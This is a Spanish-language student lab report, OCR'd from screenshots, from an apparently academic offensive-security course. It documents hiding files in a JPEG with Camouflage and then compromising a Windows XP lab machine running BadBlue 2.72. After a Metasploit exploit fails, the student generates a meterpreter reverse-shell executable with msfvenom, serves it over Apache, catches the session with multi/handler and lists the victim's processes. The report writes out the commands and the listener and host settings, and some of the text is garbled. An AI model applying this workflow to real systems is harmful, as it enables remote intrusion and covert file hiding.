En esta imagen muestro el momento en que seleccioné el archivo "Luffy with crew" desde el
escritorio de Windows XP para utilizarlo como imagen portadora en el proceso de ocultamiento
con la herramienta Camouflage v1.2.1. Esta imagen fue elegida por su resolucion adecuada y su
apariencia visual atractiva, lo que permite ocultar archivos sin levantar sospechas ni alterar
perceptiblemente su contenido. La ventana emergente corresponde al didlogo "Select file to use as
camouflage", donde se especifica que el archivo oculto serd modificado para "actuar y parecerse"
al archivo seleccionado. Esta etapa fue clave para aplicar técnicas de esteganografia, validar la

funcionalidad de Camouflage y documentar como se ocultan documentos sensibles dentro de

archivos aparentemente inofensivos.

Select file to use as camouflage

Buscar en: [@ Escritorio _vJ & 85 ¢ ER-
. lDMis documentos

Y mipc
Documentos QMis sitios de red

LGS B8 adobe Reader &

@ ,;:ﬁ YLC media player

- |_2)PATERSON ADMIN

Escritorio [C3)UTH-LIBRE
@Acceso directo a Internet
& BadBlue Personal Edition
t Chronicle_GA4-240202501-AA4-EV01
t Folleto_GA4-240202501-AA2-E¥01

Mis documentos

Improvement-Plan-English-Expressions-Grammar-Structures-and-Performance. pptx ill be made to look and act like the following file.
1 LufFy with crew

¢ ! :

MiPC @One Piece 4K Wallpaper L”_I
E] pepe

. < i — >
Mis sitios de red  Nombre: ILuffy with crew _V_I Abrir I

Tipo: |AII Files LI Cancelar

2] Ed il
Adobe Reader Accesa directo

< Back Next > Close I

Hlustracion 22 Seleccion de imagen portadora para ocultamiento con Camouflage
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Confirmacion de archivo portador en Camouflage para ocultamiento
En esta imagen muestro la interfaz de Camouflage v1.2.1 en el momento en que seleccioné la
imagen "Lufty with crew.jpg" como archivo portador para ocultar informacion sensible. Esta
imagen fue elegida por su peso, resolucion y apariencia visual, lo que permite aplicar técnicas de
esteganografia sin alterar perceptiblemente su contenido. La ruta del archivo (C:\Documents and
Settings\admin2\Escritorio\Lufty with crew.jpg) confirma que el entorno Windows XP esta
correctamente configurado para ejecutar Camouflage y manipular archivos desde el escritorio. Este
paso fue clave para validar el funcionamiento de la herramienta y documentar el proceso de

ocultamiento como parte del laboratorio de cifrado y explotacion.

Camouflage |Z| |E| le

'our camouflaged files will be made to look and act like the following file.

Camouflage zing C:ADocurments and Settingshadrminz E scritoriohLuffy with crew jpg ﬂJ

Click,_here to get the latest version

Hlustracion 23 Confirmacion de archivo portador en Camouflage para ocultamiento
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Configuracion de contraseiia para archivo oculto en Camouflage
En esta imagen muestro el paso final del proceso de ocultamiento con Camouflage v1.2.1, donde se
me solicita ingresar una contrasefia de seguridad para proteger el archivo camuflado. Ingresé y
verifiqué la contrasefia en los campos correspondientes, con el objetivo de afiadir una capa
adicional de confidencialidad al archivo oculto dentro de la imagen seleccionada previamente. Esta
funcionalidad permite que el archivo oculto no solo esté disfrazado visualmente, sino también
cifrado y restringido por acceso, lo cual refuerza la seguridad en escenarios donde se requiere
proteger informacion sensible. Esta etapa fue clave para validar el uso completo de Camouflage

como herramienta de esteganografia con control de acceso.

Camouflage |Z| |E| [Z|

Enter a zecurity password for your camouflaged file if you wizh.

Paszwiord

YWerify Pazsword

Click. here to get the latest version < Back Finizh Close

1lustracion 24 Configuracion de contraseiia para archivo oculto en Camouflage
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Propiedades del archivo portador utilizado en ocultamiento

En esta imagen muestro las propiedades del archivo "One PieceWallpaper.jpg", utilizado como
imagen portadora en las pruebas de ocultamiento con Camouflage v1.2.1. El archivo se encuentra
en el escritorio del entorno Windows XP, con un tamaiio de 228 KB y atributos activados de "s6lo
lectura" y "oculto", lo cual refuerza su rol como contenedor discreto de informacion cifrada. La
fecha de creacion y modificacion (2 de octubre de 2025) coincide con el momento en que se realizé
el proceso de camuflaje, lo que permite validar la trazabilidad de la evidencia. Esta verificacion fue
clave para documentar el resultado final del ocultamiento, asegurando que el archivo mantuviera su

apariencia original y que los metadatos reflejaran el momento exacto de la operacion.

Propiedades de One PieceWallpaper

General Resumen

t‘ﬂ One Piece'w allpaper
Tipo de archivo: Imagen JPEG .
Se abre con: d"] Visor de imagenes v [ Cambiar. .. ]
Ubicacion: C:\Documents and Settingsiadmin2\Escritario
Tamario: Z28 KB (234,195 bytes)
Tamario en disco: Z3Z KB (237.565 bytes)
Creado: jueves, 02 de ockubre de 2025, 9:26:10
Modificado: martes, 02 de septiembre de 2025, 3:35:03
Ciltimo acceso: jueves, 02 de ockubre de 2025, 10:30:46
akribukos: Sélo lectura [ Oculko Cpciones avanzadas. ..

Acepkar ] [ Cancelar

Ilustracion 25 Propiedades del archivo portador utilizado en ocultamiento
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Verificacion de archivos ocultos dentro de imagen portadora con Camouflage
En esta imagen muestro la interfaz de Camouflage v1.2.1 al momento de verificar los archivos

ocultos dentro de la imagen portadora. El archivo camuflado contiene tres elementos:

e One Piece 4K Wallpaper.jpg (16 KB)

« Chronicle GA4-24020501-A44-EV01.pdf (110 KB)

o Folleto GA4-24020501-A42-EVO1.pdf (102 KB)

Esta visualizacion confirma que el proceso de ocultamiento fue exitoso y que los archivos
incrustados pueden ser extraidos de forma selectiva o conjunta. La herramienta reconoce los
atributos y tamafios de cada archivo, lo cual permite validar la integridad de la informacion oculta.
Esta etapa fue clave para cerrar el ciclo de pruebas de esteganografia, demostrando que es posible

ocultar documentos sensibles dentro de una imagen sin alterar su apariencia ni funcionalidad.

Camouflage

The camouflaged file [created with Camouflage +1.2.1] containg theze files. Select the files pou
wigh to extract or leave them unzelected to extract them all.

M arne | Size | Attributes
|i_']:|]ne Piece 4k Wallpaper.pg 16KE A
Chronicle_GA4-240202507-454-EW01 . pdf T0KE A
olleto_GAd-2402025071-442-E%01 . pdf 102KE A&

Click. here to get the latest version < Back Mest > Close

llustracion 26 Verificacion de archivos ocultos dentro de imagen portadora con Camouflage
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Exploracion de escritorio tras extraccion de archivos camuflados
En esta imagen muestro el didlogo de seleccion de archivos en el escritorio de Windows XP, luego
de haber realizado la extraccion de archivos ocultos mediante Camouflage v1.2.1. Se observan
carpetas como "lo que descamufle", donde almacené los documentos recuperados del archivo
portador, y archivos como "samir pwpw.docx", que fueron utilizados en pruebas previas de cifrado.
Este momento refleja la fase final del proceso de esteganografia, donde validé que los archivos
ocultos fueran extraidos correctamente y organizados en una carpeta dedicada para su analisis
posterior. Esta estructura me permitié mantener trazabilidad, separar evidencias por técnica

utilizada y preparar el entorno para la redaccion del informe técnico.

| (G Escritario j |‘j€ B

,ﬂ Cine PieceWallpaper
[Z] pepe

samir prpi, docx

I o que descamufls| |

< b

Maombre: |E:-:tra|:t files hiere ﬂ Abirir |
Tipa: | j Cancelar

Ilustracion 27 Exploracion de escritorio tras extraccion de archivos camuflados
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Validacion de archivos extraidos tras ocultamiento con Camouflage
En esta imagen muestro el contenido de la carpeta "lo que descamufle", ubicada en el escritorio del
entorno Windows XP. Esta carpeta contiene los archivos extraidos exitosamente mediante

Camouflage v1.2.1, luego de haber sido ocultados dentro de una imagen portadora. Los archivos

recuperados son:

e One Piece 4K Wallpaper.jpg (imagen de 4096 x 2160, 110 KB)
e Chronic_Galote 24082021-AA...pdf (110 KB)
o Galote Galote 24082021-AA2...pdf (102 KB)

Esta evidencia confirma que el proceso de ocultamiento y posterior extraccion fue exitoso,
manteniendo la integridad de los archivos y su estructura original. La organizacion en una carpeta

dedicada me permitié documentar el resultado final, validar los metadatos y preparar los archivos

para su analisis técnico y pedagdgico.

rramientas  Awvuda

squeda 0 Carpetas -

dminziEscritariotlo que descamufle w | Ir

Chronicle_GA4-240202501-44. .. ﬁ- Folleto_GA4-240202501-A82-. ..

ZI

U

Adobe Acrobat Document Adobe Acrobat Document
110 KB o 102 KB

one Piece 4 Wallpaper
h T36 w414

Imagen JPEG

Hlustracion 28 Validacion de archivos extraidos tras ocultamiento con Camouflage
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Visualizacion y control del servicio BadBlue desde navegador local
En esta imagen muestro la interfaz del servicio BadBlue Personal Edition 2.72 ejecutdndose
correctamente en el entorno Windows XP, accesible desde el navegador Internet Explorer mediante
la direccién local http://127.0.0.1/. La interfaz incluye pestafias como Search, Folders, Manage y
Help, lo que confirma que el servicio esté activo y listo para ser explorado desde el sistema
anfitrion. En primer plano se observa la ventana de control de BadBlue, donde configuré el uso del
puerto 80 y activé la opcion de ocultar la aplicacion al minimizar, lo cual permite mantener el

servicio en segundo plano sin interferencias visuales.

/~ BadBlue: the file-sharing web server anyone can use - Windows Internet Expl... |:||E||X|
——

ul\\i—}r\@f |g, Rbepe 12700001 V||E||E||E| |,D Live Search

archivo  Edicion Wer  Faworitos  Herramientas — Ayuda

7 Favoritos | 9 €| Sitios sugeridos & | Hotmail gratuito & | Galera de Web Slice =

|§BadBlue:the file-sharing ... |_| ﬁ M = @ v Pagina - Seguridad -

5
sEning. lp.'.'f‘.lrr'u"n.'y. i-l"AJﬂ"!.l_'..‘. {3 BadBluE

Uze part; IBD :I

Hide when minimized v

Stop I Euit... |

File search: |

Share your Ex

e Internet

Hlustracion 29 Visualizacion y control del servicio BadBlue desde navegador local
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Inicializacion del entorno ofensivo con Metasploit Framework en Kali Linux

En esta imagen muestro el momento en que inicio el entorno ofensivo desde Kali Linux, ejecutando
el comando msfconsole como usuario root. Esta accion carga el Metasploit Framework v6.4.90-
dev, herramienta central para la explotacion de vulnerabilidades en entornos controlados. La
consola indica que el framework cuenta con 2.561 exploits, 1.683 payloads y multiples modulos
auxiliares, post-explotacion y evasion, lo cual me permite seleccionar técnicas especificas seglin el
objetivo. Esta etapa marca el comienzo del laboratorio de explotacion contra el servicio BadBlue
2.72 en Windows XP, y representa la preparacion del entorno atacante para pruebas éticas y

documentadas.

Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

- 1,310 auxiliary - 1,683 payloads

[ 2,561 exploits
—=[ 432 post - 49 encoders - 13 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

Hlustracion 30 Inicializacion del entorno ofensivo con Metasploit Framework en Kali Linux
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Busqueda de mdodulos de explotacion para BadBlue en Metasploit
En esta imagen muestro el resultado de ejecutar el comando search badblue dentro de Metasploit
Framework, con el objetivo de identificar médulos de explotacion disponibles para el servicio
vulnerable BadBlue. El sistema devuelve tres coincidencias relevantes, entre ellas el modulo
exploit/windows/http/badblue_ext overflow, con fecha de divulgacion 02/04/2003 y clasificacion
"great", lo cual indica alta confiabilidad en entornos compatibles. Esta etapa fue clave para
seleccionar el vector de ataque mas adecuado contra BadBlue 2.72, instalado en el sistema
Windows XP. La busqueda me permiti6 validar que existen multiples enfoques de explotacion, lo
que refuerza la necesidad de documentar cada intento, ajustar parametros y reflexionar sobre la

compatibilidad entre version del software y modulo utilizado.

Matching Modules

# Name Disclosure Date Rank
Description

@ exploit/windows/http/badblue ext_overflow 2003-04-20
BadBlue 2 %xT.dl1l Buffer Overflow

1 exploi ndows/http/badblue passthru 2087-12-18@
BadBlue 2.72b PassThru Buffer

P “_ target: BadBlue EE 2.7 Universal

%_ target: BadBlue 2.72b Universal

Interact with a module by name or index. For example

After interacting with a module you can manually set a TARGET with

1st > use exploit/windows/http/badblue_ext _overflow

llustracion 31 Busqueda de modulos de explotacion para BadBlue en Metasploit
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Configuracion del exploit badblue ext overflow para atacar BadBlue desde Kali Linux
En esta imagen registro el proceso completo de configuracion del modulo
exploit/windows/http/badblue_ext overflow dentro de Metasploit, con el objetivo de explotar el
servicio BadBlue 2.72 instalado en el sistema Windows XP. Primero, estableci la direccion IP del
objetivo (RHOST=210.210.200.9) y el puerto donde se ejecuta el servicio (RPORT=80). Luego
seleccioné el payload windows/meterpreter/reverse tcp, que me permitird obtener una sesion
interactiva si la explotacion es exitosa. Configuré mi maquina atacante (LHOST=210.210.200.14)
y el puerto de escucha (LPORT=4444) para recibir la conexion inversa. Finalmente, ejecuté show
options para validar que todos los parametros estuvieran correctamente definidos antes de lanzar el

ataque.

Este paso es fundamental en el laboratorio, ya que representa la preparacion técnica del entorno

ofensivo

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit( ) >
exploit( ) > set RHOST 2160.218.200.9
» 2108.210.200.9
RPORT @

PAYLOAD windows/meterpre

LHOST 210.210.200.14
et LPORT 4&bb

show options

llustracion 32 Configuracion del exploit badblue_ext overflow para atacar BadBlue desde Kali Linux
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Intento fallido de explotacion contra BadBlue 2.72 desde Kali Linux
En esta imagen capturé el momento en que lancé el exploit badblue ext overflow desde
Metasploit, apuntando al servicio BadBlue que tengo corriendo en Windows XP. Ya habia
configurado todos los pardmetros: IP del objetivo, puerto, payload y direccion de escucha en Kali.
Al ejecutar el comando exploit, el sistema inicia correctamente el handler TCP inverso y reconoce

el objetivo como “BadBlue 2.5 (Universal)”.

Sin embargo, el resultado fue claro: “Exploit completed, but no session was created”. Esto me
obligd a detenerme y pensar. Técnicamente, el exploit fue enviado, pero no logro ejecutar el
payload en el sistema victima. ;Por qué? Lo mas probable es que la version del médulo (pensado
para BadBlue 2.5) no sea totalmente compatible con la version que estoy usando (BadBlue 2.72).

También puede influir el entorno XP, que a veces bloquea payloads complejos como Meterpreter.

msf exploit( ) > exploit

Started reverse TCP handler on 210.210.200.14:4444
Trying target BadBlue 2.5 (Universal) ...
Exploit completed, but no session was created.

llustracion 33 Intento fallido de explotacion contra BadBlue 2.72 desde Kali Linux
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Reinicio del entorno ofensivo: carga de Metasploit Framework en Kali Linux
Nuevamente me encuentro en Kali Linux, esta vez relanzando msfconsole para continuar con el
proceso de explotacion. Después de validar que el primer intento con el médulo

badblue ext overflow no generd sesion, decidi reiniciar el entorno ofensivo desde cero.

~

Metasploit tip: Use the capture plugin to start multiple
authentication-capturing and poisoning services

METASPLOIT by Rapid7

EXPLOIT

RECON

PAYLOAD

Ilustracion 34 Reinicio del entorno ofensivo. carga de Metasploit Framework en Kali Linux

Pero ahora con una mentalidad diferente jajajaja, lo voy abrir a fuerza bruta si o siii, ahora con
payload funcional para BadBlue en XP, lo que hare es crear un archivo .exe como usted nos ensefio

en clases para poder entrar de forma forzada por decirlo asi. A continuacién, muestro los pasos

siguientes.
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Generacion manual del payload con msfvenom para explotacion

Nuevamente me encuentro en Kali Linux, esta vez en el directorio Descargas, ejecutando el
comando msfvenom para crear un payload personalizado. Decidi tomar esta ruta luego de que el
moédulo badblue ext overflow no generara sesion, lo que me llevo a considerar que el exploit
podria no ser compatible con la version 2.72 de BadBlue. El comando que utilicé especifica
claramente la arquitectura (-a x86), la plataforma (--platform windows), y el tipo de payload
(windows/meterpreter/reverse tcp). También defini mi IP atacante (LHOST=210.210.200.14) y el
puerto de escucha (LPORT=4444). El resultado fue un archivo ejecutable llamado

badblue payload.exe, con un tamaiio final de 7168 bytes, lo cual indica que se gener6

correctamente.

Lo que me interesa destacar aqui es que al no usar encoder, el payload se mantiene en formato raw,
lo que simplifica su ejecucion en entornos como Windows XP, donde los mecanismos de defensa
son minimos. Esta decision técnica me permite tener mayor control sobre el proceso de
explotacion, ya que puedo transferir el archivo directamente al sistema victima y ejecutarlo

manualmente, sin depender de que el mddulo de Metasploit funcione correctamente.

Esta imagen representa un momento clave: el paso de una explotacion automatizada a una manual,
mas precisa y trazable. Refleja mi capacidad de adaptacion ante fallos y mi compromiso con la
documentacion técnica rigurosa. A partir de aqui, el laboratorio toma un giro mas controlado,

donde cada accion esta validada y cada resultado seré registrado como evidencia.
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(~/Descargas|
) windows/meterpreter/reverse_tep -a ylatform windows LHOST=210.210.
200.14 LPORT=4444 -f exe -0 badblue_payload.exe

Ir Marcadores Ayu

M kali Descargas

No encoder specified, outputting raw payload
Payload size: 354 bytes

Final size of exe file:

Saved as: badblue_payload.exe

badblue_payload.e

. Hlustracion 35 Generacion manual del payload con msfvenom para explotacion

Preparacion del payload para descarga web desde Kali Linux

En esta etapa del laboratorio decidi hacer que el payload badblue payload.exe esté disponible para
descarga desde el sistema Windows XP. Para lograrlo, ejecuté el comando sudo mv

badblue payload.exe /var/www/html/, lo que mueve el archivo al directorio raiz del servidor
Apache. Este paso es fundamental porque me permite simular un escenario real de entrega de
malware, donde el archivo malicioso esta alojado en un servidor web y el objetivo lo descarga

manualmente.

[~/Descargas]

badblue_payload.exe /var/ww/html/

llustracion 36 Preparacion del payload para descarga web desde Kali Linux
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Activacion del servidor Apache para alojar el payload
En esta parte del laboratorio ejecuté el comando sudo service apache?2 start para iniciar el servidor
web Apache. Ya habia movido el archivo badblue payload.exe al directorio /var/www/html/, asi
que este paso era necesario para que el archivo pudiera ser accesible desde el navegador del XP. Lo
que estoy haciendo aqui es simular un escenario real donde el payload se entrega por medio de una

URL. Una vez que Apache esta corriendo, puedo acceder al archivo desde el XP con algo como:

http://210.210.200.14/badblue payload.exe

Este tipo de entrega me da mas control, porque no dependo de que el exploit funcione directamente
desde Metasploit. Ademas, puedo validar si el sistema victima descarga el archivo correctamente,

si lo ejecuta, y si se establece la sesion Meterpreter como espero.

llustracion 37 Activacion del servidor Apache para alojar el payload


http://210.210.200.14/badblue_payload.exe
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Configuracion del listener en Metasploit para recibir conexion inversa desde XP
Nuevamente me encuentro en Kali, esta vez configurando el médulo exploit/multi/handler en
Metasploit. Este paso es clave porque me permite recibir la conexion inversa que se generara
cuando el sistema Windows XP ejecuté el archivo badblue payload.exe que alojé previamente en el
servidor Apache. Primero seleccioné el payload windows/meterpreter/reverse tcp, que ya habia
usado al generar el ejecutable con msfvenom. Luego defini mi IP atacante
(LHOST=210.210.200.14) y el puerto de escucha (LPORT=4444), asegurandome de que coincidan
exactamente con los valores del payload. Finalmente, ejecuté el comando run para activar el
listener.

> use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp

I exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp

msf exploit( ) > set LHOST 210.210.200.14
LHOST = 216.218.288.14

msf exploit( )} > set LPORT 4444

LPORT = 4444

msf exploit( } > run

llustracion 38 Configuracion del listener en Metasploit para recibir conexion inversa desde XP

Si todo sale bien, deberia recibir una sesion Meterpreter que me permita interactuar con el XP de

forma remota.
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Confirmacion de sesion Meterpreter tras ejecucion del payload

Finalmente, después de configurar el entorno ofensivo, generar el payload manualmente con
msfvenom, alojarlo en Apache y preparar el listener en Metasploit, obtuve el resultado que estaba
buscando: una sesion Meterpreter activa. La imagen muestra como el handler TCP inverso en Kali
(210.210.200.14:4444) recibi6 la conexion desde el sistema XP (210.210.200.9:1556). El mensaje
“Meterpreter session 1 opened” confirma que el archivo badblue payload.exe fue ejecutado
correctamente en el sistema victima, y que el payload logré establecer comunicacion con mi

maquina atacante.

Sending s

Meterpreter se i =Nl (210.210.200.14: 2109.210@.200.9:1556)
at 2e25-10-09

1lustracion 39 Confirmacion de sesion Meterpreter tras ejecucion del payload

Enumeracion de procesos en XP tras explotacion exitosa con Meterpreter

Me encuentro dentro de la sesion Meterpreter, y lo primero que hice fue ejecutar el comando ps
para listar los procesos activos en el sistema victima. Esta accion me permite validar que el payload
fue ejecutado correctamente y que tengo control sobre el entorno. Entre los procesos listados,
destaca el ejecutable badblue payload[1].exe, con PID 528, lo que confirma que el archivo
descargado desde Apache fue ejecutado por el usuario admin2. El proceso esta ubicado en la ruta
de archivos temporales de Internet, lo cual indica que fue descargado desde el navegador, tal como
lo habia planeado. También se muestra el proceso System con privilegios de NT
AUTHORITY\SYSTEM, lo que me permite evaluar posibles vectores de escalamiento de

privilegios si fuera necesario.
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PPID Session User
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Sys
sms

NT AUTHORITY\SYS

TEM

wWAYN\admin2 C:\Documents and
load[1].exe Settingshadmin2\(

les de Internet

Content.IE5Y8ZK5

UNOV\badblue_payl
oad[1].exe

Llustracion 40 Enumeracion de procesos en XP tras explotacion exitosa con Meterpreter



Dificultades encontradas y soluciones

Tabla 5 Dificultades encontradas y soluciones
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Dificultad encontrada

Solucion aplicada

El moédulo badblue ext overflow no generd

sesion Meterpreter en XP

Se descart6 el modulo y se optd por generar

manualmente un payload con msfvenom

Incompatibilidad entre el exploit y la version
2.72 de BadBlue (el modulo fue disefiado para

2.5)

Se investigo el comportamiento del servicio y

se adapt6 el enfoque hacia entrega controlada

El sistema XP no respondi6 a la explotacion

directa

Se alojo6 el payload en Apache y se simulo la

descarga desde el navegador en XP

Necesidad de configurar manualmente el

listener para recibir la conexion inversa

Se utiliz6 exploit/multi/handler en Metasploit

con parametros precisos (LHOST, LPORT)

Validacion de ejecucion del payload en entorno

XP

Se enumeraron procesos con ps en Meterpreter,
confirmando que badblue payload.exe estaba

activo

Dificultad para mantener coherencia en la

documentacién técnica

Se integraron capturas, reflexiones y
trazabilidad de comandos en cada fase del

informe




Recomendaciones

Tabla 6 Recomendaciones
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Area

Recomendacion técnica

Seleccion de

Verificar la version exacta del servicio antes de usar médulos de Metasploit.

En el caso de BadBlue, el modulo badblue ext overflow esta disefiado para

modulos )

la version 2.5, no para la 2.72.

Adaptar el payload a la arquitectura y limitaciones del sistema victima. En
Compatibilidad de i

XP, es recomendable usar windows/meterpreter/reverse _tcp con
payloads : . .

arquitectura x86 y evitar caracteres conflictivos.

Usar servidores web como Apache para simular escenarios reales de
Entrega del ) ) )

descarga. Validar que el archivo se aloje correctamente en /var/www/html/
ejecutable

y que el navegador en XP lo reciba sin bloqueo.

Configuracion del

listener

Asegurarse de que los pardmetros LHOST y LPORT coincidan exactamente
con los del payload. Usar exploit/multi/handler para capturar la conexion

inversa.

Validacion post-

Utilizar comandos como ps, getuid y sysinfo en Meterpreter para confirmar

explotacion la ejecucion del payload y el nivel de acceso obtenido.
) Registrar cada fase del laboratorio con capturas, comandos y reflexiones.
Documentacion o ) ) ) ]
Incluir dificultades encontradas y soluciones aplicadas como evidencia de
técnica

aprendizaje.

Adaptacion ante

fallos

Si un moédulo falla, no insistir en su uso. Evaluar alternativas como

generacion manual de payloads, entrega por web o explotacion indirecta.
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Conclusiones

e El modulo badblue ext overflow no fue funcional para la version 2.72, lo que evidencio la
importancia de verificar la compatibilidad exacta entre modulos y versiones del servicio.
Segtn la documentacion oficial, este mdédulo fue disefiado para BadBlue 2.5 y no
contempla variantes posteriores como la 2.72 1.

e La generacion manual del payload con msfvenom y su entrega via Apache resultaron ser
estrategias efectivas, permitiendo simular un escenario real de ingenieria social y ejecucion
controlada en el sistema XP.

e La sesion Meterpreter obtenida confirmo la viabilidad de la explotacion indirecta, validando
que el archivo malicioso fue ejecutado correctamente y que se logrd acceso remoto al
sistema victima.

e (Cada dificultad técnica fue documentada y superada con criterio, desde el fallo del modulo
hasta la configuracion precisa del listener, demostrando resiliencia y capacidad de

adaptacion en entornos vulnerables.
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